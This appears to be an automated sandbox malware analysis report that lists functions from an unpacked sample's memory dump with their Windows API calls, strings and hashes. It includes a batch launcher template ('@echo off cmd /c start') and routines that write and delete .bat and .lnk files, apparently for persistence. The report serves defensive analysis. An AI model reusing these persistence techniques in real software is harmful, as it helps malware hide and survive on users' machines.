Opcode Fuzzy Hash: 7472eaf7f6e632be50e5b3be10fa481bc85ba020c02400b5772d393eb835cb27
Instruction Fuzzy Hash: 7AC15E75E00208DBDB18DFE4D889BEEBB75FF48305F108529E615AB290D738A985CB58

Function 00410AA0 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 175stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00410ACA
_memset.LIBCMT ref: 00410AE9
lstrlenW.KERNEL32(00000000), ref: 00410B13
__snwprintf.LIBCMT ref: 00410B46
__snwprintf.LIBCMT ref: 00410B66
_memset.LIBCMT ref: 00410BA9
__snwprintf.LIBCMT ref: 00410BC9
_memset.LIBCMT ref: 00410C4C
__snwprintf.LIBCMT ref: 00410C73

Strings

%s\*.*, xrefs: 00410BB8
\\?\%s , xrefs: 00410B35
%s\%s, xrefs: 00410C62
%s\System32, xrefs: 00410B55

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintf_memset$lstrlen
String ID: %s\%s$%s\*.*$%s\System32$\\?\%s
API String ID: 4132764700-2457321626
Opcode ID: 2e104d4a2d1b0ff43874da9a51cd1285d1648299e552af9c124d82d4cbfd87bb
Instruction ID: c6e62e2073b034a599f52fdef3a3bee758a209303a2989893499197f23e9dd42
Opcode Fuzzy Hash: 2e104d4a2d1b0ff43874da9a51cd1285d1648299e552af9c124d82d4cbfd87bb
Instruction Fuzzy Hash: 2661D9B19002189BDB24DF60DC49FE97375FF44304F5445EAE60996180EBB99EC8CF99

Function 004152B0 Relevance: 21.3, APIs: 3, Strings: 9, Instructions: 286COMMON

Download Yara Rule

APIs

Part of subcall function 00421DA0: ___crtGetLocaleInfoEx.LIBCMTD ref: 00421DBD

Part of subcall function 00421A20: ___crtGetLocaleInfoEx.LIBCMTD ref: 00421A3D

__snwprintf.LIBCMT ref: 004155A7
_memset.LIBCMT ref: 004156DF
__snwprintf.LIBCMT ref: 004156FD

Strings

, xrefs: 00415484
SOFTWARE\%s, xrefs: 00415596
.DLL, xrefs: 00415698
SOFTWARE\%s, xrefs: 004156EC
", xrefs: 00415498
.DLL, xrefs: 00415511
!, xrefs: 0041548E
#, xrefs: 004154A2
.DLL, xrefs: 0041560E

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: InfoLocale___crt__snwprintf$_memset
String ID: $!$"$#$.DLL$.DLL$.DLL$SOFTWARE\%s$SOFTWARE\%s
API String ID: 2690796221-3769927825
Opcode ID: f9cd9e4cee2ffa15f8856f482cae3081484cdc176ce1f74312dfdd2214a7b222
Instruction ID: 29602d9c3e6b9ea0e454eb130913dbd66f16fbe119040890b5bd64aaf47d0f05
Opcode Fuzzy Hash: f9cd9e4cee2ffa15f8856f482cae3081484cdc176ce1f74312dfdd2214a7b222
Instruction Fuzzy Hash: 29D117B1900218DBEB24DF60DC49BEEB7B5FB44304F5081E9E549A7281DBB99AC4CF94

Function 00418A30 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 176stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,?,?,?,?,00414506,00436450), ref: 00418A59
_memmove.LIBCMT ref: 00418A88
lstrlenW.KERNEL32(?), ref: 00418AAC
LocalAlloc.KERNEL32(00000040,?), ref: 00418ABF

Strings

PdC, xrefs: 00418B43, 00418BB6, 00418B46
PdC, xrefs: 00418B19, 00418B27, 00418A84, 00418A90, 00418A87, 00418B2A
PdC, xrefs: 00418B81

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: lstrlen$AllocLocal_memmove
String ID: PdC$PdC$PdC
API String ID: 39496755-1398650270
Opcode ID: 981e1c8220d340e5c2f2801dab2990c43d3c98a0d4b8735d5e8a3246bc3149fb
Instruction ID: 68aedf7bfef8d849f7c6093bd49c9ebc40dcd1fcc69a5c87191b9df558053d57
Opcode Fuzzy Hash: 981e1c8220d340e5c2f2801dab2990c43d3c98a0d4b8735d5e8a3246bc3149fb
Instruction Fuzzy Hash: E5711BB4A0420EEFCB14CF98D581AEEB7B1FF48304F10855AE915A7340D734AA96CFA5

Function 004179E0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 145threadstringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00473F0C), ref: 004179EE
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00417A00
CreateThread.KERNEL32(00000000,00000000,00408670,00000000,00000000,00000000), ref: 00417A23
LocalFree.KERNEL32(?), ref: 00417A41
_memset.LIBCMT ref: 00417ABA
__snwprintf.LIBCMT ref: 00417ADF
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00417B64
CreateThread.KERNEL32(00000000,00000000,0040BCA0,00000000,00000000,00000000), ref: 00417B87
CloseHandle.KERNEL32(?), ref: 00417BA4
CreateThread.KERNEL32(00000000,00000000,0041C690,00000000,00000000,00000000), ref: 00417BD5
CreateThread.KERNEL32(00000000,00000000,00422100,00000000,00000000,00000000), ref: 00417BEF

Strings

"%s%s", xrefs: 00417ACE

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Create$Thread$Event$CloseFreeHandleLocal__snwprintf_memsetlstrlen
String ID: "%s%s"
API String ID: 4079218935-1694057794
Opcode ID: cf5a036f5783a1a5fa6017972896ae79ee644f8f8522a0a03c43ea90ec11181c
Instruction ID: 1e84fd0bc2520909827c6edb8f866b7a07077475007cd2de4b7a526a35a9f6c2
Opcode Fuzzy Hash: cf5a036f5783a1a5fa6017972896ae79ee644f8f8522a0a03c43ea90ec11181c
Instruction Fuzzy Hash: 79515170A88314ABE724AB60EC4AF953674A704705F10457AF30DA92E1D7F865C4CF5E

Function 00417C20 Relevance: 21.1, APIs: 14, Instructions: 80synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?,0041CF6E), ref: 00417C3C
WaitForSingleObject.KERNEL32(?,000000FF,?,0041CF6E), ref: 00417C54
CloseHandle.KERNEL32(?,?,0041CF6E), ref: 00417C6A
SetEvent.KERNEL32(?,?,0041CF6E), ref: 00417C7F
WaitForSingleObject.KERNEL32(?,000000FF,?,0041CF6E), ref: 00417C97
CloseHandle.KERNEL32(?,?,0041CF6E), ref: 00417CAD
CloseHandle.KERNEL32(?,?,0041CF6E), ref: 00417CC2
SetEvent.KERNEL32(?,?,0041CF6E), ref: 00417CD8
WaitForSingleObject.KERNEL32(?,000000FF,?,0041CF6E), ref: 00417CF0
CloseHandle.KERNEL32(?,?,0041CF6E), ref: 00417D05
SetEvent.KERNEL32(?,?,0041CF6E), ref: 00417D1B
WaitForSingleObject.KERNEL32(?,000000FF,?,0041CF6E), ref: 00417D33
CloseHandle.KERNEL32(?,?,0041CF6E), ref: 00417D48
CloseHandle.KERNEL32(?,?,0041CF6E), ref: 00417D5E

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: 18f77922ecc03a40f4af42e35ac647b1a9a6bbc2ecd4e509e15d828aaf2342cc
Instruction ID: 2efe401ad2e9334bd799c32a11dda1ac67e07a7c7ed7506ab771460a2d4acc6e
Opcode Fuzzy Hash: 18f77922ecc03a40f4af42e35ac647b1a9a6bbc2ecd4e509e15d828aaf2342cc
Instruction Fuzzy Hash: 8731B971118200DBD328AFA4FC4CBA637B6B745315F145639E21A966B0D778A8CDCF9C

Function 0040EE20 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 190fileCOMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 0040EE72

Part of subcall function 0040C970: lstrlenW.KERNEL32(?), ref: 0040C9D6
Part of subcall function 0040C970: lstrlenW.KERNEL32(00473898), ref: 0040C9E9
Part of subcall function 0040C970: __snwprintf.LIBCMT ref: 0040CA2A
Part of subcall function 0040C970: lstrlenW.KERNEL32(00000000), ref: 0040CA36

__snprintf.LIBCMT ref: 0040EECE
__snwprintf.LIBCMT ref: 0040EF25
CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040EF33
__snwprintf.LIBCMT ref: 0040EF89
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 0040EFAB
WriteFile.KERNEL32(000000FF,00000000,?,00000000,00000000), ref: 0040EFD7

Strings

@echo offcmd /c start "" "%S%S" %S, xrefs: 0040EEC0
%s\%s, xrefs: 0040EF17
%s\%s\%s.bat, xrefs: 0040EF7B
%s\%s.lnk, xrefs: 0040EE64

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintf$lstrlen$CreateFile$DirectoryWrite__snprintf
String ID: %s\%s$%s\%s.lnk$%s\%s\%s.bat$@echo offcmd /c start "" "%S%S" %S
API String ID: 2767719528-1386577
Opcode ID: 8c6961f4528bbf1dc82015b1292462afdd969989bb4a2a64a326a4bf5295b5cd
Instruction ID: 971959146bbf60309bda4c3585695e493e9737ae057980748b5e679c907677e4
Opcode Fuzzy Hash: 8c6961f4528bbf1dc82015b1292462afdd969989bb4a2a64a326a4bf5295b5cd
Instruction Fuzzy Hash: 52716C75A00309EBDB24DBA4DC4AFEE7775EB48701F50853AF605B62D0D7B8A844CB68

Function 00418DA0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 171stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00418DC9
_memmove.LIBCMT ref: 00418DF7
lstrlenA.KERNEL32(?), ref: 00418E1B
LocalAlloc.KERNEL32(00000040,?), ref: 00418E2D

Strings

xC@, xrefs: 00418F74, 00418F7C, 00418F81, 00418F38, 00418F40, 00418F45

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: lstrlen$AllocLocal_memmove
String ID: xC@
API String ID: 39496755-137084332
Opcode ID: 431c75bd026fb3df7fba93fc785fa514b6504ff4283ddb5b02a671c23b6106b3
Instruction ID: 0321d05b353010604045e4ed6f8dda335a2f1adca3c4faa2617fbbc6ac746380
Opcode Fuzzy Hash: 431c75bd026fb3df7fba93fc785fa514b6504ff4283ddb5b02a671c23b6106b3
Instruction Fuzzy Hash: F471EC71A0020ADFCF04CF94D581AEEB7B2FF88309F10855AE905A7341D734AA95DB99

Function 0041CA00 Relevance: 16.6, APIs: 11, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001,?,0041C941,00000000,00000000,0047FD50,0047FDF8), ref: 0041CA0F
_memmove.LIBCMT ref: 0041CA2E
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,0041C941,00000000,00000000), ref: 0041CA54
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,0041C941,00000000), ref: 0041CA9A

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc_memmove
String ID:
API String ID: 3668202806-0
Opcode ID: 65377767a46e38a21d81c307e51a3aaf70246de7b61b9ede19e034912b4f5e09
Instruction ID: 1a7d30cbbf34fcf49ee489ded3f490f3b4d58d67926835386e4b737b527f203e
Opcode Fuzzy Hash: 65377767a46e38a21d81c307e51a3aaf70246de7b61b9ede19e034912b4f5e09
Instruction Fuzzy Hash: 4A411D75A04208EFCB04DFA4ED89BAE77B5BF48305F104569EA06E7390D634AA40DB59

Function 004173D0 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 292stringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00000000,00000000), ref: 0041745C
_memset.LIBCMT ref: 0041748D
__snwprintf.LIBCMT ref: 004174AB

Strings

SOFTWARE\%s, xrefs: 0041749A
.DLL, xrefs: 00417462

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintf_memsetlstrcpy
String ID: .DLL$SOFTWARE\%s
API String ID: 521008980-3069316046
Opcode ID: 9ebcd539357f304ded1ed9b7e6530470ee6f84a92c98e70a059279702585c1ab
Instruction ID: 061ff039704dbbb5a9c980faa0d7e9563e44c02e1835b212fb41c1367a67d3a3
Opcode Fuzzy Hash: 9ebcd539357f304ded1ed9b7e6530470ee6f84a92c98e70a059279702585c1ab
Instruction Fuzzy Hash: FCD13B74E042189FDB24DF64DC8DB9AB7B5BF48304F1085A9E10DAB290DB74AAC4CF55

Function 0041AD90 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 276COMMON

Download Yara Rule

Strings

application/octet-stream, xrefs: 0041AD99
HEAD, xrefs: 0041AFF7
<, xrefs: 0041AEDF
RtlTimeToSecondsSince1970, xrefs: 0041AE3E
NTDLL.DLL, xrefs: 0041AE26
text/plain, xrefs: 0041ADA0

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID:
String ID: <$HEAD$NTDLL.DLL$RtlTimeToSecondsSince1970$application/octet-stream$text/plain
API String ID: 0-1210979922
Opcode ID: 8a854edcfc726516ae931456b6be808b10e8c2bb7b4583638377db0229e2a70c
Instruction ID: 405cadcc4ae59f2de3bc6ef5f8cc646fae5b32c80b134a876cf1c737a3f7cba7
Opcode Fuzzy Hash: 8a854edcfc726516ae931456b6be808b10e8c2bb7b4583638377db0229e2a70c
Instruction Fuzzy Hash: 52C11BB0A00318EFDB14DFA4CC99BDEBBB5FB48701F108569E609AB284D7B45988CF55

Function 004184F0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97threadsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000,?,0041824B,?), ref: 0041852B
CloseHandle.KERNEL32(00000000,?,0041824B,?), ref: 00418563
CloseHandle.KERNEL32(00000000,?,0041824B,?), ref: 00418583
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,0041824B,?), ref: 0041859B
CreateThread.KERNEL32(00000000,00000000,?,?,00000004,00000000), ref: 004185BA
ResumeThread.KERNEL32(00000000), ref: 004185E8
CloseHandle.KERNEL32(00000000), ref: 004185FE
CloseHandle.KERNEL32(00000000), ref: 00418608

Strings

d, xrefs: 00418511

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateThread$EventObjectResumeSingleWait
String ID: d
API String ID: 144976343-2564639436
Opcode ID: d1515b2a01f9cc173bf3a8bf0f378ef2aae27ebe93373796e2f4d55a75ad8670
Instruction ID: 186593196a1ecf41a89da0a8a597543fa85425d85024d01c85a3f81d9e28e41a
Opcode Fuzzy Hash: d1515b2a01f9cc173bf3a8bf0f378ef2aae27ebe93373796e2f4d55a75ad8670
Instruction Fuzzy Hash: 5E4129B4A04219EFDB04CF94C889BEEB7B1FB48304F24C559EA15A7390C774A985CF94

Function 0040FCB0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 95fileCOMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 0040FD07
DeleteFileW.KERNEL32(00000000), ref: 0040FD13
__snwprintf.LIBCMT ref: 0040FD79
__snwprintf.LIBCMT ref: 0040FDB3
DeleteFileW.KERNEL32(00000000), ref: 0040FDBF
RemoveDirectoryW.KERNEL32(00000000), ref: 0040FDC9

Strings

%s\%s.lnk, xrefs: 0040FCF9
%s\%s, xrefs: 0040FD6B
%s\%s\%s.BAT, xrefs: 0040FDA5

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintf$DeleteFile$DirectoryRemove
String ID: %s\%s$%s\%s.lnk$%s\%s\%s.BAT
API String ID: 2831937974-377014195
Opcode ID: ebbc63302c9e9da6ef6929f7def577c1286f899edd113e903190f628315d9dca
Instruction ID: 502d59184f1d51a49b81e69d81b1d1801d79e3a13ea6940f5c91cac4a1307416
Opcode Fuzzy Hash: ebbc63302c9e9da6ef6929f7def577c1286f899edd113e903190f628315d9dca
Instruction Fuzzy Hash: F6319075A40309BBDB14EBA0DD0AFAE7779EF48700F600439F605B62C0D7B8A944CB58

Function 0041BD40 Relevance: 15.1, APIs: 10, Instructions: 72windowregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0041BD48
_memset.LIBCMT ref: 0041BD5B
RegisterClassW.USER32(?), ref: 0041BD7E
GetLastError.KERNEL32 ref: 0041BD90
CreateWindowExW.USER32(00000000,0047B6BA,004392B4,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 0041BDC4
GetMessageW.USER32(?,?,00000000,00000000), ref: 0041BDE7
TranslateMessage.USER32(?), ref: 0041BDF5
DispatchMessageW.USER32(?), ref: 0041BDFF
DestroyWindow.USER32(?), ref: 0041BE0D
UnregisterClassW.USER32(0047B6BA,?), ref: 0041BE25

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Message$ClassWindow$CreateDestroyDispatchErrorHandleLastModuleRegisterTranslateUnregister_memset
String ID:
API String ID: 1736019982-0
Opcode ID: 44b9b3d491ba77a891f52e8e7580a13877c4ddd922de42ec48cc47b0145aa3e0
Instruction ID: ab45f3a09088af48425ac5202502134bd08f2805e4d7476bd65ed2b970070986
Opcode Fuzzy Hash: 44b9b3d491ba77a891f52e8e7580a13877c4ddd922de42ec48cc47b0145aa3e0
Instruction Fuzzy Hash: B1213375940304ABDB249FA0EC4DBEE7B74EB94701F108436EA069A290DB7465C5CBE9

Function 0040C620 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 136fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040C970: lstrlenW.KERNEL32(?), ref: 0040C9D6
Part of subcall function 0040C970: lstrlenW.KERNEL32(00473898), ref: 0040C9E9
Part of subcall function 0040C970: __snwprintf.LIBCMT ref: 0040CA2A
Part of subcall function 0040C970: lstrlenW.KERNEL32(00000000), ref: 0040CA36

CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040C653
wsprintfW.USER32 ref: 0040C69F
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0040C6CA
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000001,00000080,00000000), ref: 0040C721

Strings

%s%s, xrefs: 0040C696
P, xrefs: 0040C74F

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: lstrlen$CreateFile$DirectoryModuleName__snwprintfwsprintf
String ID: %s%s$P
API String ID: 1009040823-50959982
Opcode ID: 5292d5db4555a1c5aa8fd0db72429abaa3b28a06d0d6de492e022048b028ae9a
Instruction ID: 75b5acf5dcd845ec379369acad90d19d1c3fdf2c27c587a6b54d3358a801ef79
Opcode Fuzzy Hash: 5292d5db4555a1c5aa8fd0db72429abaa3b28a06d0d6de492e022048b028ae9a
Instruction Fuzzy Hash: 64514171900219EBDB24DBE4EC8CB9E7774EB48311F1082A6E519B62D0C7789E84CF59

Function 004108D0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 114stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00410912
lstrlenW.KERNEL32(00000000), ref: 0041091E
__snwprintf.LIBCMT ref: 00410955
__snwprintf.LIBCMT ref: 004109D1
lstrlenW.KERNEL32(00000000), ref: 004109E0
_memmove.LIBCMT ref: 00410A42

Strings

%s\System32, xrefs: 004109C0
\\?\%s , xrefs: 00410944

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintflstrlen$_memmove_memset
String ID: %s\System32$\\?\%s
API String ID: 1226727644-2868705786
Opcode ID: 6e8f4d0e67aae0e810d07d34e97196b1f2a4ac454217211d54e26313eb623a2c
Instruction ID: f7fbbe4a236fc53dca6a2b04c866a4db5b7b1190c58fbd2958e5bb8130a35a9c
Opcode Fuzzy Hash: 6e8f4d0e67aae0e810d07d34e97196b1f2a4ac454217211d54e26313eb623a2c
Instruction Fuzzy Hash: FD416175A80218ABCB24EBA0DD8DBDD73B4EF58701F1045E9E509A6290D7B85EC4CF58

Function 0041FCA0 Relevance: 13.7, APIs: 9, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000FA0), ref: 0041FCE9
und_memcpy.LIBCMTD ref: 0041FD0F
und_memcpy.LIBCMTD ref: 0041FD2A
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0041FD48
LocalFree.KERNEL32(00000000), ref: 0041FD64

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: AllocLocalund_memcpy$FreeVirtual
String ID:
API String ID: 2616075706-0
Opcode ID: 74adb7b3c462bd493814b274d57370fe2bf3f9e63b67a0c32c4d5959d5e495a5
Instruction ID: 896d9bbf9812bbf6fee41916b536506549fc29dea3f44346001a24c4f2589f43
Opcode Fuzzy Hash: 74adb7b3c462bd493814b274d57370fe2bf3f9e63b67a0c32c4d5959d5e495a5
Instruction Fuzzy Hash: 3771E575A00628CBCB64CF54DC84BEDB7B5AF98309F1481E9E50DAB351DA34AEC68F44

Function 00422F70 Relevance: 13.6, APIs: 9, Instructions: 109stringsynchronizationCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(0047FF48,0047C710), ref: 00422FC4
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 00423006
WaitForSingleObject.KERNEL32(?,00000000), ref: 00423017
lstrcpyA.KERNEL32(?,0047FD50), ref: 00423064
ReleaseMutex.KERNEL32(?), ref: 00423079
ReleaseMutex.KERNEL32(?), ref: 0042302B

Part of subcall function 00423100: lstrlenW.KERNEL32(?), ref: 00423119

lstrcpyA.KERNEL32(0047FF48,?), ref: 004230BF

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: lstrcpy$MutexReleaseWait$MultipleObjectObjectsSinglelstrlen
String ID:
API String ID: 1097325810-0
Opcode ID: 821b3ecb837ab590a6ff4c2b44fcedddb81928fd439c30ca57b8ba89f3a1609e
Instruction ID: 16d82323eab8fe0889115499996e689acd0b379d9a67a3ef51016832aa5a728f
Opcode Fuzzy Hash: 821b3ecb837ab590a6ff4c2b44fcedddb81928fd439c30ca57b8ba89f3a1609e
Instruction Fuzzy Hash: AA41B670B04214EFC728DFA4EC49F9E77B4BB48701F20853AE51A93294D7796984CB5D

Function 0041D320 Relevance: 13.6, APIs: 9, Instructions: 95threadmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000014), ref: 0041D32A
CreateThread.KERNEL32(00000000,00000000,0041D440,00000000,00000000,00000000), ref: 0041D371
WaitForMultipleObjects.KERNEL32(?,?,00000000,000000FF), ref: 0041D3CB
GetExitCodeThread.KERNEL32(00000000,?), ref: 0041D3E2
CloseHandle.KERNEL32(00000000), ref: 0041D3F1
LocalFree.KERNEL32(00000000), ref: 0041D3FB
TerminateThread.KERNEL32(00000000,00000000), ref: 0041D416
CloseHandle.KERNEL32(00000000), ref: 0041D420
LocalFree.KERNEL32(00000000), ref: 0041D42A

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: LocalThread$CloseFreeHandle$AllocCodeCreateExitMultipleObjectsTerminateWait
String ID:
API String ID: 872497719-0
Opcode ID: 5ed7423fb5cecc2500752e8c116bf73243fd794aab3f643aef1d3c47cd37cb60
Instruction ID: 9f48c58a442aec97a04834a521b677f27ce6a3c23ab1282491cae343aeabad6e
Opcode Fuzzy Hash: 5ed7423fb5cecc2500752e8c116bf73243fd794aab3f643aef1d3c47cd37cb60
Instruction Fuzzy Hash: 7341B4B8E04208EFCB08DF94D984BDDBBB5FB88314F208559EA15A7394C734AA81CF55

Function 0040D050 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 404COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0040D7DD

Strings

_DllMain@12, xrefs: 0040D0C0
@, xrefs: 0040D191

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID: @$_DllMain@12
API String ID: 1263568516-1064695914
Opcode ID: 0b5fea6523ada42aaec58af214fcb1f894e4b54d776377398d842d2cd266bdef
Instruction ID: 01e7d303157ac589c17df2b98c965f4fab38d216f3b26439a1c5c060f512db2d
Opcode Fuzzy Hash: 0b5fea6523ada42aaec58af214fcb1f894e4b54d776377398d842d2cd266bdef
Instruction Fuzzy Hash: EA22AD74A01228CBDB24CF54CD94BE9B7B1BF89309F1081EAD409AB385D735AE85CF85

Function 00406DB0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 283COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00406DCA
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 00406E85
_memmove.LIBCMT ref: 00406EAF
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 00406F60
_memmove.LIBCMT ref: 00406F90
_memset.LIBCMT ref: 00406FE8

Strings

D, xrefs: 00406DD2

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CurrentProcess_memmove_memset
String ID: D
API String ID: 3982101328-2746444292
Opcode ID: fa124bb30cdbb1f417195f11095cf570eba08c0846fb746eb5b22adb4fe37978
Instruction ID: da0b9fa1c628436c0729d377d3fc31351201813bcae8fd64a0a4471667014b57
Opcode Fuzzy Hash: fa124bb30cdbb1f417195f11095cf570eba08c0846fb746eb5b22adb4fe37978
Instruction Fuzzy Hash: B6C1E9B1A00318AFDB24CFA4CD49F9EB7B5FB48704F208569F609AB290D775A984CF54

Function 0040F470 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 117stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040C970: lstrlenW.KERNEL32(?), ref: 0040C9D6
Part of subcall function 0040C970: lstrlenW.KERNEL32(00473898), ref: 0040C9E9
Part of subcall function 0040C970: __snwprintf.LIBCMT ref: 0040CA2A
Part of subcall function 0040C970: lstrlenW.KERNEL32(00000000), ref: 0040CA36

__snwprintf.LIBCMT ref: 0040F4CC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040F50F
__snwprintf.LIBCMT ref: 0040F553
_memset.LIBCMT ref: 0040F563

Strings

